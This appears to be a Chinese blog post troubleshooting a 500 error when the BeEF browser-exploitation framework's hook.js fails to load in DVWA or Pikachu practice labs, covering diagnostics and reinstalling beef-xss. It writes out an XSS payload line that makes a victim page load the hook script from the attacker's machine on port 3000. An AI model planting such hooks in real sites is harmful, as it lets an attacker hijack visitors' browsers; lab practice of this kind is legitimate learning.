beef-xss hook.js访问失败500错误

错误现象

在物理机靶场(dvwa或者pikachu)
提交

复制代码
 <script>http://虚拟机IP:3000/hook.js</script>

通过F12查看网络请求,可以看到获取hook.js文件的请求是报错的
500 Internal Server Error

问题排查

在Kali中打开火狐浏览器,访问:

复制代码
http://127.0.0.1:3000/demos/basic.html

在输入框粘贴:

复制代码
<script>http://127.0.0.1:3000/hook.js</script>

然后点击advanced demo page进行访问

打开控制台,如果:

  • 1、可以看到Kali本机上线,可以证明程序没问题,是物理机和虚拟机网络的问题。
  • 2、反之,如果无法上线,那么就是程序本身的问题。

问题原因

因为和虚拟机的网络是连通的(可以ping通),而且本机的3000端口用

复制代码
netstat -an|grep 3000

命令确认正在监听,可以判断是安装的程序出了问题。

解决办法

彻底卸载 beef-xss
命令:

复制代码
apt remove beef-xss

此外,还要删除遗留的文件:
只删除因为安装而产生的文件

复制代码
find / -name "*beef-xss*"

这里提供一个现成的命令:

language-bash 复制代码
rm -rf /var/lib/beef-xss/
rm -rf /var/lib/dpkg/info/beef-xss*
rm -rf /usr/bin/beef-xss
rm -rf /usr/bin/beef-xss-stop
rm -rf /usr/share/beef-xss
rm -rf /usr/share/doc/beef-xss
rm -rf /etc/beef-xss

删除以后,更新系统:

复制代码
apt update
apt upgrade

重装:

复制代码
apt install beef-xss
相关推荐
可乐鸡翅yeah_29 分钟前
hls.js 缓冲区参数 maxBufferLength、maxBufferSize 通俗讲解与业务调参
开发语言·javascript·ios·音视频·safari·m3u8
paopaokaka_luck40 分钟前
高校社团管理(AI辅助任务分配、协同过滤算法推荐、ECharts数据可视化、活动参与闭环、校园交流与反馈、器材借还管理)
java·前端·javascript·spring boot·数据分析·echarts
500841 小时前
React Native for OpenHarmony 实战:三方库 react-native-volume-control 的鸿蒙化适配指南
javascript·react native·react.js·electron·harmonyos
薛一半1 小时前
React-Redux三重优化实战揭秘
javascript·vue.js·react.js
Dovis(誓平步青云)1 小时前
导览音频切换太快,旧讲解不能覆盖新展品
android·前端·javascript·ecmascript·音视频·宠物
福兮说12 小时前
设计稿是 #4A7C6F,页面量出来是 #4B7C6F:HEX、HSL、透明度、canvas 来回转的七个坑
前端·javascript·css·canvas
凤城老人13 小时前
从 PyQt6 到 Electron:给 Edge TTS 做一个“多角色配音机“的踩坑手记
javascript·typescript·electron
Dovis(誓平步青云)13 小时前
浇水提醒刚弹出又消失,植物状态别只存一个百分比
开发语言·前端·javascript·pdf·ecmascript·电脑
码艺-Alimjan14 小时前
Vben Admin 新增维吾尔语 Vben-Modal的关键坑之一
前端·javascript·vue.js
可乐鸡翅yeah_14 小时前
hls.js 手动自定义 http 请求 loader,修改请求头实战
开发语言·前端·javascript·网络协议·http·ecmascript·m3u8在线